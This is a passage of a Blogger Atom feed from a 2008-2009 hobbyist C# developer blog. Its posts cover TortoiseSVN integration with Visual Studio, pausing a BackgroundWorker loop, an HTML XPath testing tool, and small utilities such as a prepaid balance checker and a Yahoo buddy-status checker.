2009'/><author><name>Nullstring</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='27' height='32' src='http://1.bp.blogspot.com/_kFNcLq9qQIg/SqCnZ8nL4AI/AAAAAAAABRU/dg3o9vMwSaA/S220/me.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh5.ggpht.com/_kFNcLq9qQIg/SdQKNqK25lI/AAAAAAAAAuE/RaggZgnOvCw/s72-c/MainWindow_thumb%5B5%5D.jpg?imgmax=800' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-283095442481052191.post-4771101188178783968</id><published>2009-02-15T10:34:00.001+08:00</published><updated>2009-02-15T10:36:54.791+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='me'/><category scheme='http://www.blogger.com/atom/ns#' term='Integration'/><category scheme='http://www.blogger.com/atom/ns#' term='Tortiose SVN'/><category scheme='http://www.blogger.com/atom/ns#' term='Visual Studio'/><category scheme='http://www.blogger.com/atom/ns#' term='Articles'/><title type='text'>Tortoise SVN : Launch Commit or Update window in Visual Studio</title><content type='html'>&lt;p&gt;By setting up External Tools, you can launch Tortoise SVN Commit or Update window in Visual Studio.    &lt;br /&gt;    &lt;br /&gt;Here's how to do it:&lt;/p&gt;  &lt;table border="0" cellspacing="2" cellpadding="2" width="708"&gt;&lt;tbody&gt;     &lt;tr&gt;       &lt;td valign="top" width="257"&gt;&lt;a href="http://lh5.ggpht.com/_kFNcLq9qQIg/SZd_MkBzs0I/AAAAAAAAAqs/qZPjfCuLQHU/s1600-h/image%5B5%5D.png"&gt;&lt;img style="border-right-width: 0px; margin: 0px 10px 10px 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" border="0" alt="image" src="http://lh3.ggpht.com/_kFNcLq9qQIg/SZd_NqYdf8I/AAAAAAAAAqw/_Szgu-RPxQw/image_thumb%5B1%5D.png?imgmax=800" width="244" height="243" /&gt;&lt;/a&gt; &lt;/td&gt;        &lt;td valign="top" width="443"&gt;Open External Tools window          &lt;br /&gt;Menu: Tools &amp;gt; External Tools           &lt;br /&gt;          &lt;br /&gt;and click Add Button&lt;/td&gt;     &lt;/tr&gt;      &lt;tr&gt;       &lt;td valign="top" width="259"&gt;&lt;a href="http://lh5.ggpht.com/_kFNcLq9qQIg/SZd_OSXE0MI/AAAAAAAAAq0/oaF_5MWpByc/s1600-h/image%5B8%5D.png"&gt;&lt;img style="border-right-width: 0px; margin: 0px 10px 10px 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" border="0" alt="image" src="http://lh5.ggpht.com/_kFNcLq9qQIg/SZd_PG3BkKI/AAAAAAAAAq4/NKE9W-mhxyg/image_thumb%5B2%5D.png?imgmax=800" width="244" height="243" /&gt;&lt;/a&gt;&lt;/td&gt;        &lt;td valign="top" width="443"&gt;Create Commit and Update command          &lt;br /&gt;          &lt;table border="0" cellspacing="2" cellpadding="2" width="400"&gt;&lt;tbody&gt;             &lt;tr&gt;               &lt;td valign="top" width="81"&gt;Title&lt;/td&gt;                &lt;td valign="top" width="311"&gt;You can name it whatever you want. I named it Tortoise Commit                  &lt;br /&gt;&lt;/td&gt;             &lt;/tr&gt;              &lt;tr&gt;               &lt;td valign="top" width="81"&gt;Command&lt;/td&gt;                &lt;td valign="top" width="311"&gt;C:\Program Files\TortoiseSVN\bin\TortoiseProc.exe&lt;/td&gt;             &lt;/tr&gt;              &lt;tr&gt;               &lt;td valign="top" width="81"&gt;Arguments&lt;/td&gt;                &lt;td valign="top" width="311"&gt;You can find the list of TortoiseProc.exe arguments &lt;a href="http://tortoisesvn.net/docs/release/TortoiseSVN_en/tsvn-automation.html" target="_blank"&gt;here&lt;/a&gt;                   &lt;br /&gt;                  &lt;br /&gt;for Commit:                   &lt;br /&gt;/command:commit /path:&amp;quot;$(SolutionDir)&amp;quot; /notempfile                   &lt;br /&gt;                  &lt;br /&gt;for Update:                   &lt;br /&gt;/command:update /path:&amp;quot;$(SolutionDir)&amp;quot; /notempfile&lt;/td&gt;             &lt;/tr&gt;           &lt;/tbody&gt;&lt;/table&gt;          &lt;br /&gt;          &lt;br /&gt;&lt;/td&gt;     &lt;/tr&gt;      &lt;tr&gt;       &lt;td valign="top" width="261"&gt;&lt;a href="http://lh5.ggpht.com/_kFNcLq9qQIg/SZd_P8qmxVI/AAAAAAAAAq8/Xc7ue9bRVW8/s1600-h/image%5B11%5D.png"&gt;&lt;img style="border-right-width: 0px; margin: 0px 10px 10px 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" border="0" alt="image" src="http://lh3.ggpht.com/_kFNcLq9qQIg/SZd_QwpIIvI/AAAAAAAAArA/5IgLwHaeFsE/image_thumb%5B3%5D.png?imgmax=800" width="244" height="243" /&gt;&lt;/a&gt;&lt;/td&gt;        &lt;td valign="top" width="443"&gt;And that's basically it.&lt;/td&gt;     &lt;/tr&gt;      &lt;tr&gt;       &lt;td valign="top" width="262"&gt;&lt;a href="http://lh3.ggpht.com/_kFNcLq9qQIg/SZd_wm1FGiI/AAAAAAAAArM/lpdkHWipxNk/s1600-h/image%5B24%5D.png"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; border-top: 0px; border-right: 0px" border="0" alt="image" src="http://lh4.ggpht.com/_kFNcLq9qQIg/SZd_xftrUJI/AAAAAAAAArU/OC2s8bKNbxo/image_thumb%5B10%5D.png?imgmax=800" width="244" height="138" /&gt;&lt;/a&gt; &lt;/td&gt;        &lt;td valign="top" width="443"&gt;You can click the image for larger view&lt;/td&gt;     &lt;/tr&gt;   &lt;/tbody&gt;&lt;/table&gt;  &lt;p&gt;   &lt;br /&gt;Cheers! &lt;img style="margin: 0px 10px 0px 0px" alt="beer" src="http://spaces.live.com/rte/emoticons/beer.gif" /&gt;&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/283095442481052191-4771101188178783968?l=heresmycode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://heresmycode.blogspot.com/feeds/4771101188178783968/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=283095442481052191&amp;postID=4771101188178783968' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/4771101188178783968'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/4771101188178783968'/><link rel='alternate' type='text/html' href='http://heresmycode.blogspot.com/2009/02/tortoise-svn-launch-commit-or-update.html' title='Tortoise SVN : Launch Commit or Update window in Visual Studio'/><author><name>nullstring</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_kFNcLq9qQIg/SNcG3Ay99SI/AAAAAAAAAOg/TIS0edZtE-0/S220/yeah_blue_eye_ID.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh3.ggpht.com/_kFNcLq9qQIg/SZd_NqYdf8I/AAAAAAAAAqw/_Szgu-RPxQw/s72-c/image_thumb%5B1%5D.png?imgmax=800' height='72' width='72'/><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-283095442481052191.post-2798668967388758124</id><published>2009-02-14T02:34:00.002+08:00</published><updated>2009-04-12T20:02:32.673+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='C#'/><category scheme='http://www.blogger.com/atom/ns#' term='my code'/><category scheme='http://www.blogger.com/atom/ns#' term='Articles'/><title type='text'>Pause infinite loop in Background Worker object</title><content type='html'>I came across on a problem where I want to Pause and Continue my infinite loop in background worker object.   &lt;br /&gt;So I made a simple solution that it works pretty well.   &lt;br /&gt;  &lt;br /&gt;BTW ... this is not like &amp;quot;Hey I like to pause for 5 seconds&amp;quot; I could just simply use Sleep(int milliseconds). This is user triggered condition (User Input) and not code triggered.   &lt;br /&gt;  &lt;br /&gt;So the thought here was, what if I make a conditional loop inside the infinite loop where it checks for a boolean variable.   &lt;br /&gt;  &lt;br /&gt;Here's the main logic inside BackgroundWorker_DoWork event.   &lt;br /&gt;  &lt;pre class="csharpcode"&gt;&lt;span class="kwrd"&gt;void&lt;/span&gt; bgWorker_DoWork(&lt;span class="kwrd"&gt;object&lt;/span&gt; sender, DoWorkEventArgs e)&lt;br /&gt;{&lt;br /&gt;    &lt;span class="kwrd"&gt;int&lt;/span&gt; counter = 0;&lt;br /&gt;&lt;br /&gt;    &lt;span class="rem"&gt;// infinite loop counter&lt;/span&gt;&lt;br /&gt;    &lt;span class="kwrd"&gt;while&lt;/span&gt; (!bgWorker.CancellationPending)&lt;br /&gt;    {&lt;br /&gt;        &lt;span class="rem"&gt;// main logic codes here&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;        counter++;&lt;br /&gt;&lt;br /&gt;        System.Threading.Thread.Sleep(500); &lt;span class="rem"&gt;// pause counter for 500ms just to simulate some work&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;        bgWorker.ReportProgress(counter, &lt;span class="kwrd"&gt;string&lt;/span&gt;.Empty);&lt;br /&gt;&lt;br /&gt;        &lt;span class="kwrd"&gt;while&lt;/span&gt; (Helper.Pause)&lt;br /&gt;        {&lt;br /&gt;            &lt;span class="rem"&gt;// don't kill the CPU&lt;/span&gt;&lt;br /&gt;            System.Threading.Thread.Sleep(1000);&lt;br /&gt;&lt;br /&gt;            &lt;span class="rem"&gt;// make sure we respond to background worker cancellation&lt;/span&gt;&lt;br /&gt;            &lt;span class="kwrd"&gt;if&lt;/span&gt; (bgWorker.CancellationPending)&lt;br /&gt;            {&lt;br /&gt;                &lt;span class="rem"&gt;// alerted that we have to stop.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;                &lt;span class="rem"&gt;// so get back to original state&lt;/span&gt;&lt;br /&gt;                Helper.Pause = &lt;span class="kwrd"&gt;false&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;                &lt;span class="rem"&gt;// and get out&lt;/span&gt;&lt;br /&gt;                &lt;span class="kwrd"&gt;break&lt;/span&gt;;&lt;br /&gt;            }&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;}&lt;/pre&gt;&lt;br /&gt;And the Helper Class. So you can use Pause anywhere in your project. &lt;br /&gt;&lt;pre class="csharpcode"&gt;&lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;class&lt;/span&gt; Helper&lt;br /&gt;{&lt;br /&gt;    &lt;span class="rem"&gt;// let's make it accessible globally without instantiating this class&lt;/span&gt;&lt;br /&gt;    &lt;span class="kwrd"&gt;internal&lt;/span&gt; &lt;span class="kwrd"&gt;static&lt;/span&gt; &lt;span class="kwrd"&gt;bool&lt;/span&gt; Pause = &lt;span class="kwrd"&gt;false&lt;/span&gt;;&lt;br /&gt;}&lt;/pre&gt;&lt;br /&gt;Download the sample code here &lt;br /&gt;&lt;iframe scrolling="no" marginheight="0" marginwidth="0" frameborder="0" style="width:240px;height:66px;margin:3px;padding:0;border:1px solid #dde5e9;background-color:#ffffff;" src="http://cid-39b8fdc09b6b5252.skydrive.live.com/embedrowdetail.aspx/Source%20and%20Binaries/PauseInfiniteLoopInBackgroundWorker.zip"&gt;&lt;/iframe&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/283095442481052191-2798668967388758124?l=heresmycode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://heresmycode.blogspot.com/feeds/2798668967388758124/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=283095442481052191&amp;postID=2798668967388758124' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/2798668967388758124'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/2798668967388758124'/><link rel='alternate' type='text/html' href='http://heresmycode.blogspot.com/2009/02/pause-infinite-loop-in-background.html' title='Pause infinite loop in Background Worker object'/><author><name>nullstring</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_kFNcLq9qQIg/SNcG3Ay99SI/AAAAAAAAAOg/TIS0edZtE-0/S220/yeah_blue_eye_ID.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-283095442481052191.post-9203377155994705542</id><published>2009-02-13T02:27:00.001+08:00</published><updated>2009-02-13T02:32:24.773+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tools'/><category scheme='http://www.blogger.com/atom/ns#' term='softwares'/><category scheme='http://www.blogger.com/atom/ns#' term='C#'/><category scheme='http://www.blogger.com/atom/ns#' term='my code'/><title type='text'>Html Xpath Testbed or Html Live</title><content type='html'>&lt;p&gt;&lt;strong&gt;Project Description&lt;/strong&gt;    &lt;br /&gt;If you're an Html Agility Pack fan, then here's a little application for you to test out your XPath!     &lt;br /&gt;&lt;/p&gt;  &lt;p&gt;Html Agility Pack &lt;a href="http://www.codeplex.com/htmlagilitypack"&gt;http://www.codeplex.com/htmlagilitypack&lt;/a&gt;    &lt;br /&gt;&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Html Xpath Testbed&lt;/strong&gt; or &lt;strong&gt;Html Live&lt;/strong&gt; is a simple tool created to test out your XPath's for HTML with a help of Html Agility Pack. &lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;Features are:     &lt;br /&gt;- Built-in Web Request. HtmlAgilityPack's web request is not used. Sorry.      &lt;br /&gt;- Copy / Paste Html Codes      &lt;br /&gt;- Live preview on Xpath result      &lt;br /&gt;- Results can viewed as Html code or Rendered using WebBrowser control       &lt;br /&gt;&lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;&lt;strong&gt;Html Xpath Testbed&lt;/strong&gt; or &lt;strong&gt;Html Live&lt;/strong&gt; was created in Visual Studio 2008, written in C#, and downgraded to .NET 2.0 (You can upgrade that to 3.x anytime without changing anything on the code)     &lt;br /&gt;&lt;/p&gt;  &lt;p&gt;Here are some previews of Html Xpath Testbed or Html Live:   &lt;br /&gt;&lt;strong&gt;&lt;em&gt;Tested it on ebay &lt;img style="margin: 0px 10px" alt="smile_teeth" src="http://spaces.live.com/rte/emoticons/smile_teeth.gif" /&gt;What you'll see at the bottom are the ebay search results&lt;/em&gt;      &lt;br /&gt;      &lt;br /&gt;&lt;/strong&gt;In code view    &lt;br /&gt;&lt;a href="http://lh5.ggpht.com/_kFNcLq9qQIg/SZRpzDRMCmI/AAAAAAAAAqc/Aboy3743k9Y/s1600-h/htmllive-code%5B3%5D.jpg"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; margin: 0px 10px 10px 0px; border-top: 0px; border-right: 0px" border="0" alt="htmllive-code" src="http://lh6.ggpht.com/_kFNcLq9qQIg/SZRp5VPoP0I/AAAAAAAAAqg/4gaywUz8Cu0/htmllive-code_thumb%5B1%5D.jpg?imgmax=800" width="554" height="436" /&gt;&lt;/a&gt;&amp;#160; &lt;br /&gt;    &lt;br /&gt;In rendered view    &lt;br /&gt;&lt;a href="http://lh3.ggpht.com/_kFNcLq9qQIg/SZRp-tIcrwI/AAAAAAAAAqk/YXSF1cBPhaI/s1600-h/htmllive-rendered%5B3%5D.jpg"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; margin: 0px 10px 10px 0px; border-top: 0px; border-right: 0px" border="0" alt="htmllive-rendered" src="http://lh6.ggpht.com/_kFNcLq9qQIg/SZRqCzNqmnI/AAAAAAAAAqo/c2zZSvooNwA/htmllive-rendered_thumb%5B1%5D.jpg?imgmax=800" width="554" height="436" /&gt;&lt;/a&gt;     &lt;br /&gt;    &lt;br /&gt;Get the full source code at CodePlex    &lt;br /&gt;&lt;a href="http://www.codeplex.com/HtmlXpathTestbed"&gt;&lt;strong&gt;http://www.codeplex.com/HtmlXpathTestbed&lt;/strong&gt;&lt;/a&gt;    &lt;br /&gt;    &lt;br /&gt;or download it in thier SVN Archive    &lt;br /&gt;&lt;a href="https://HtmlXpathTestbed.svn.codeplex.com/svn"&gt;&lt;strong&gt;https://HtmlXpathTestbed.svn.codeplex.com/svn&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/283095442481052191-9203377155994705542?l=heresmycode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://heresmycode.blogspot.com/feeds/9203377155994705542/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=283095442481052191&amp;postID=9203377155994705542' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/9203377155994705542'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/9203377155994705542'/><link rel='alternate' type='text/html' href='http://heresmycode.blogspot.com/2009/02/html-xpath-testbed-or-html-live.html' title='Html Xpath Testbed or Html Live'/><author><name>nullstring</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_kFNcLq9qQIg/SNcG3Ay99SI/AAAAAAAAAOg/TIS0edZtE-0/S220/yeah_blue_eye_ID.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh6.ggpht.com/_kFNcLq9qQIg/SZRp5VPoP0I/AAAAAAAAAqg/4gaywUz8Cu0/s72-c/htmllive-code_thumb%5B1%5D.jpg?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-283095442481052191.post-4299593097456489153</id><published>2009-02-11T00:30:00.001+08:00</published><updated>2009-02-11T00:30:40.396+08:00</updated><title type='text'></title><content type='html'>ping.fm test ....&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/283095442481052191-4299593097456489153?l=heresmycode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://heresmycode.blogspot.com/feeds/4299593097456489153/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=283095442481052191&amp;postID=4299593097456489153' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/4299593097456489153'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/4299593097456489153'/><link rel='alternate' type='text/html' href='http://heresmycode.blogspot.com/2009/02/ping.html' title=''/><author><name>nullstring</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_kFNcLq9qQIg/SNcG3Ay99SI/AAAAAAAAAOg/TIS0edZtE-0/S220/yeah_blue_eye_ID.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-283095442481052191.post-1698270049323025727</id><published>2009-01-03T00:22:00.001+08:00</published><updated>2009-01-03T00:22:21.491+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Quote'/><category scheme='http://www.blogger.com/atom/ns#' term='Knowledge'/><title type='text'>Quote</title><content type='html'>&lt;p&gt;&amp;quot;The only reason why you can't do it is because you don't know. Possibility is endless, you just have to learn&amp;quot;   &lt;br /&gt;&lt;b&gt;SubCat: Knowledge&lt;/b&gt;&lt;/p&gt; &lt;strong&gt;&lt;/strong&gt;  &lt;p&gt;   &lt;br /&gt;&amp;quot;You can make a good picture out of four colors -- you just have to be artistic!&amp;quot;    &lt;br /&gt;&lt;b&gt;SubCat: Knowledge (1990s)&lt;/b&gt;&lt;/p&gt; &lt;strong&gt;&lt;/strong&gt;  &lt;p&gt;   &lt;br /&gt;&amp;quot;Software development is like a blocks of LEGO, you can make a different reusable unique forms.. And now its up to you where you can use them!&amp;quot;    &lt;br /&gt;&lt;b&gt;SubCat: Object Oriented Programming&lt;/b&gt;&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;&lt;/strong&gt;    &lt;br /&gt;By: Jayzon Ragasa    &lt;br /&gt;Category: Software Development&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/283095442481052191-1698270049323025727?l=heresmycode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://heresmycode.blogspot.com/feeds/1698270049323025727/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=283095442481052191&amp;postID=1698270049323025727' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/1698270049323025727'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/1698270049323025727'/><link rel='alternate' type='text/html' href='http://heresmycode.blogspot.com/2009/01/quote.html' title='Quote'/><author><name>nullstring</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_kFNcLq9qQIg/SNcG3Ay99SI/AAAAAAAAAOg/TIS0edZtE-0/S220/yeah_blue_eye_ID.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-283095442481052191.post-7701968398147492863</id><published>2008-12-07T17:29:00.001+08:00</published><updated>2008-12-07T17:29:59.691+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tools'/><category scheme='http://www.blogger.com/atom/ns#' term='softwares'/><category scheme='http://www.blogger.com/atom/ns#' term='me'/><category scheme='http://www.blogger.com/atom/ns#' term='C#'/><category scheme='http://www.blogger.com/atom/ns#' term='my code'/><title type='text'>Smart Prepaid Balance Inquiry</title><content type='html'>&lt;p&gt;I made this program again today, written in C#.   &lt;br /&gt;    &lt;br /&gt;Well, I regularly check my balance specially when I'm registered to AllText25 for 200 free text (for 2 days only) and I usually have extra credits just incase, for sending text on other network and I usually overuse my extra credits, I mean, that's because my free text is expired.    &lt;br /&gt;    &lt;br /&gt;Anyway, this one monitors or periodically check (every 15 seconds) your balance and free text.&lt;a href="http://lh5.ggpht.com/_kFNcLq9qQIg/STuXi63CWVI/AAAAAAAAAZg/5mhehnlL5IM/s1600-h/SmartPrepaidBalanceInquiry%5B4%5D.png"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; margin: 0px 10px 10px 0px; border-top: 0px; border-right: 0px" border="0" alt="SmartPrepaidBalanceInquiry" src="http://lh5.ggpht.com/_kFNcLq9qQIg/STuXlfX8DaI/AAAAAAAAAZk/mSsIwCCr9XU/SmartPrepaidBalanceInquiry_thumb%5B2%5D.png?imgmax=800" width="438" height="232" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/283095442481052191-7701968398147492863?l=heresmycode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://heresmycode.blogspot.com/feeds/7701968398147492863/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=283095442481052191&amp;postID=7701968398147492863' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/7701968398147492863'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/7701968398147492863'/><link rel='alternate' type='text/html' href='http://heresmycode.blogspot.com/2008/12/smart-prepaid-balance-inquiry.html' title='Smart Prepaid Balance Inquiry'/><author><name>nullstring</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_kFNcLq9qQIg/SNcG3Ay99SI/AAAAAAAAAOg/TIS0edZtE-0/S220/yeah_blue_eye_ID.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh5.ggpht.com/_kFNcLq9qQIg/STuXlfX8DaI/AAAAAAAAAZk/mSsIwCCr9XU/s72-c/SmartPrepaidBalanceInquiry_thumb%5B2%5D.png?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-283095442481052191.post-8568818340451869659</id><published>2008-11-27T18:28:00.002+08:00</published><updated>2009-04-12T20:01:39.822+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web'/><category scheme='http://www.blogger.com/atom/ns#' term='tools'/><category scheme='http://www.blogger.com/atom/ns#' term='softwares'/><category scheme='http://www.blogger.com/atom/ns#' term='me'/><category scheme='http://www.blogger.com/atom/ns#' term='C#'/><category scheme='http://www.blogger.com/atom/ns#' term='my code'/><title type='text'>Yahoo Invisible Buddy Checker</title><content type='html'>&lt;p&gt;Made a little app just this morning before I start to work...&amp;#160; &lt;br /&gt;So this app checks your friend if he/she is Online, Offline, or Invisible :) and thanks &lt;a target="_blank" href="http://www.invisible-scanner.com"&gt;Invisible-Scanner&lt;/a&gt;     &lt;br /&gt;    &lt;br /&gt;here's a small screen shot     &lt;br /&gt;&lt;a href="http://lh5.ggpht.com/_kFNcLq9qQIg/SS6353tfSqI/AAAAAAAAAZA/Fk8AZoPLoBk/s1600-h/yibc%5B3%5D.jpg"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; margin: 0px 10px 10px 0px; border-top: 0px; border-right: 0px" border="0" alt="yibc" src="http://lh6.ggpht.com/_kFNcLq9qQIg/SS52SJ7LeQI/AAAAAAAAAZE/elW3dnXlIjA/yibc_thumb%5B2%5D.jpg?imgmax=800" width="330" height="216" /&gt;&lt;/a&gt;&amp;#160; &lt;br /&gt;so after clicking the Start button, the window hides it self and sits on the system tray and periodically checks your buddy (10 seconds, we don't want to kill Invisible-Scanner's web hosting server)     &lt;br /&gt;    &lt;br /&gt;additional feature is you can automatically start the monitoring by providing a 2 parameters:    &lt;br /&gt;Your buddy ID and a condition if you want to start the scanning immediately.    &lt;br /&gt;    &lt;br /&gt;ex: &lt;strong&gt;YahooBuddyChecker&lt;/strong&gt; &amp;lt;&lt;font color="#ff0000"&gt;&lt;strong&gt;your_buddys_id&lt;/strong&gt;&lt;/font&gt;&amp;gt; &amp;lt;&lt;font color="#008000"&gt;&lt;strong&gt;true&lt;/strong&gt;&lt;/font&gt;|&lt;font color="#008000"&gt;&lt;strong&gt;false&lt;/strong&gt;&lt;/font&gt;&amp;gt;    &lt;br /&gt;&lt;strong&gt;&lt;font color="#ff0000"&gt;your_buddys_id&lt;/font&gt;&lt;/strong&gt; = your yahoo buddy     &lt;br /&gt;&lt;strong&gt;&lt;font color="#008000"&gt;true&lt;/font&gt;&lt;/strong&gt;|&lt;strong&gt;&lt;font color="#008000"&gt;false&lt;/font&gt;&lt;/strong&gt; = you can set &lt;strong&gt;TRUE&lt;/strong&gt; if you want to automatically start the scanning, and &lt;strong&gt;FALSE&lt;/strong&gt; ..... if you don't want to.     &lt;br /&gt;    &lt;br /&gt;ex: &lt;strong&gt;YahooBuddyChecker&lt;/strong&gt; &lt;font color="#ff0000"&gt;mybuddy_2008&lt;/font&gt; &lt;font color="#008000"&gt;true&lt;/font&gt;     &lt;br /&gt;    &lt;br /&gt;and that's pretty much it, you can create a shortcut file with those parameters. &lt;img style="margin: 0px 10px" alt="smile_regular" src="http://spaces.live.com/rte/emoticons/smile_regular.gif" /&gt;    &lt;br /&gt;&lt;/p&gt;  &lt;p&gt;you can download the file here:    &lt;br /&gt;&lt;/p&gt;&lt;iframe scrolling="no" marginheight="0" marginwidth="0" frameborder="0" style="width:240px;height:66px;margin:3px;padding:0;border:1px solid #dde5e9;background-color:#ffffff;" src="http://cid-39b8fdc09b6b5252.skydrive.live.com/embedrowdetail.aspx/Source%20and%20Binaries/Yahoo%20Buddy%20Checker/YahooBuddyChecker.zip"&gt;&lt;/iframe&gt;&lt;br /&gt;  &lt;br /&gt;cheers! &lt;img style="margin: 0px 10px 0px 0px" alt="beer" src="http://spaces.live.com/rte/emoticons/beer.gif" /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/283095442481052191-8568818340451869659?l=heresmycode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://heresmycode.blogspot.com/feeds/8568818340451869659/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=283095442481052191&amp;postID=8568818340451869659' title='13 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/8568818340451869659'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/8568818340451869659'/><link rel='alternate' type='text/html' href='http://heresmycode.blogspot.com/2008/11/yahoo-invisible-buddy-checker.html' title='Yahoo Invisible Buddy Checker'/><author><name>nullstring</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_kFNcLq9qQIg/SNcG3Ay99SI/AAAAAAAAAOg/TIS0edZtE-0/S220/yeah_blue_eye_ID.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh6.ggpht.com/_kFNcLq9qQIg/SS52SJ7LeQI/AAAAAAAAAZE/elW3dnXlIjA/s72-c/yibc_thumb%5B2%5D.jpg?imgmax=800' height='72' 